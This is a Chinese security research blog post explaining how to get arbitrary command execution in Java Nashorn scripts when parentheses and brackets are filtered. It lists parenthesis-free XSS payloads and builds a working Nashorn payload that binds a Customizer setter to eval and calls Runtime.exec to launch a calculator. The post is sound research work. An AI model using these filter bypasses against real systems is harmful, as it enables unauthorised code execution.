惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
I
InfoQ
The Cloudflare Blog
人人都是产品经理
人人都是产品经理
博客园 - Franky
T
Tailwind CSS Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园_首页
罗磊的独立博客
V
V2EX
李成银的技术随笔
大猫的无限游戏
大猫的无限游戏
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
True Tiger Recordings
Vercel News
Vercel News
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
F
Fox-IT International blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
M
Microsoft Research Blog - Microsoft Research
Know Your Adversary
Know Your Adversary
爱范儿
爱范儿
The Register - Security
The Register - Security
G
Google Developers Blog
The Hacker News
The Hacker News
Malwarebytes
Malwarebytes
S
Securelist
博客园 - 三生石上(FineUI控件)
Jina AI
Jina AI
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
博客园 - 叶小钗
F
Fortinet All Blogs
Apple Machine Learning Research
Apple Machine Learning Research
宝玉的分享
宝玉的分享
博客园 - 聂微东
T
Threatpost
博客园 - 【当耐特】
D
Docker
P
Privacy & Cybersecurity Law Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
G
GRAHAM CLULEY
V
Visual Studio Blog
C
Cisco Blogs
IT之家
IT之家
S
Security Archives - TechRepublic
Latest news
Latest news
阮一峰的网络日志
阮一峰的网络日志

离别歌

Codex Security代码审计初体验 | 离别歌 Apifox CDN 供应链投毒事件简单复盘 | 离别歌 React2Shell攻防笔记:原理挖掘与价值15万美元的WAF绕过思路 | 离别歌 本地多语言AI字幕组:whisper实战教程 | 离别歌 扒一扒h2database远程代码执行 | 离别歌 ClassPathXmlApplicationContext的不出网利用 | 离别歌 从HertzBeat聊聊SnakeYAML反序列化 | 离别歌 如何巧妙构建“LDAPS”服务器利用JNDI注入 | 离别歌 使用eUICC卡片将手机变成eSIM手机 | 离别歌 UTF-8 Overlong Encoding导致的安全问题 | 离别歌
当Nashorn失去括号:非典型Java命令执行绕过 | 离别歌
2024-04-12 · via 离别歌

昨天『代码审计』知识星球里有同学向我提了一个有趣的问题:

image.png

简单来说就是,在Java的Nashorn脚本中,如果不允许使用小括号()和中括号[],如何执行任意命令?

0x01 浏览器JavaScript无括号XSS

我们知道,Nashorn脚本本质上是JavaScript,而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号,所以解决问题的核心其实就是“如何不使用括号来执行函数”。

在浏览器上下文中,我们通常有这样一些思路来绕过对括号的限制:

  • 使用ES6中的反引号代替括号,如alert`23`
  • 使用location和伪协议来执行代码,如location.href='javascript:alert%281%29',这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过
  • 使用DOM相关方法写入HTML到页面,如document.body.innerHTML=location.hash;
  • 使用onerror和throw来变相执行函数,如onerror=alert;throw 23;

基本所有对于括号的绕过方法,无论怎么变形最后都归结于上述4种思路,网上也有不少人整理过Payloads,可以参考:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

但是,虽然都是JavaScript,但浏览器里的这些方法并不能套用到Nashorn中:

image.png

一是Nashorn并不支持ES6语法,二是其中没有DOM相关方法,三是上下文中也没有全局对象可以注册onerror。

0x02 Fastjson:我换个衣服你就不认识我了吗?

既然JavaScript里的方法不能直接利用,我们还是需要回到Nashorn和Java中找方法。

先来做个实验,首先编写一个简单的User类,其中包含一个getter和一个setter:

package com.govuln.js;

public class User {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

然后我们编写这样一段Nashorn脚本:

var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);

调试运行可以发现,User类的setter和getter被调用了:

image.png

所以在Nashorn脚本中,当执行赋值语句时,对象的setter会被调用;当获取属性时,对象的getter会被调用。在不借助括号的情况下,通过这两种方法可以执行函数。

好像很熟悉?提出这个问题的圈友好像已经意识到了这个问题的本质是什么,其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了

所以,第一种解决问题的方法就是直接利用Fastjson相关的利用链,由于网上已经有很多介绍文章了,这里不再赘述。

当然,Fastjson各个利用链都有自己的不足,有的需要连接外网,有的有Java版本限制,有的只能写文件,有的依赖第三方库。如果想要找一种更通用的利用方法,还得继续深入研究。

在阅读Nashorn的文档时,我发现一个有趣的语法:https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html

image.png

Nashorn支持在JavaScript中实现Java的接口和抽象类,并提供了一个特殊的语法:

var r = new java.lang.Runnable() {
    run: function() {
        print("running...\n");
    }
};

由于调用无参构造函数可以省略括号,上述代码可以省略成这样的代码:

var r = new java.lang.Runnable {
    run: print
};

如果有方法可以调用到r对象的run方法,不就等于调用了print函数吗?

再结合我们在0x02中学习到的setter方法,我们可以尝试在Java中找到一个接口或抽象类,其包含setter,我将这个setter重写成eval函数,就可以在执行赋值语句的时候执行任意代码了。

快速找到符合条件的setter,我们可以借助CodeQL或者Tabby,因为我们这次的目标非常简单,人工找甚至也可以。比如这个java.beans.Customizer接口:

public interface Customizer {

    /**
     * Set the object to be customized.  This method should be called only
     * once, before the Customizer has been added to any parent AWT container.
     * @param bean  The object to be customized.
     */
    void setObject(Object bean);

    /**
     * Register a listener for the PropertyChange event.  The customizer
     * should fire a PropertyChange event whenever it changes the target
     * bean in a way that might require the displayed properties to be
     * refreshed.
     *
     * @param listener  An object to be invoked when a PropertyChange
     *          event is fired.
     */
     void addPropertyChangeListener(PropertyChangeListener listener);

    /**
     * Remove a listener for the PropertyChange event.
     *
     * @param listener  The PropertyChange listener to be removed.
     */
    void removePropertyChangeListener(PropertyChangeListener listener);

}

其就包含一个setObject()方法,且参数是一个Object,我可以传入任意类型的数据。

使用它来构造最终的Nashorn脚本如下:

var a = new java.beans.Customizer {
    setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";

执行成功弹出计算器:

image.png

0x04 总结

本文介绍了如何在不使用小括号、中括号的情况下,利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload,最终执行任意代码和命令的方法。

由于最初『代码审计』里这位圈友给的问题很简单,不知是否还有其他限制条件,是否能最终解决他的问题,让我赚到8块钱🤣。但光就这个场景的绕过方法,其实也挺有意思的。

参考资料: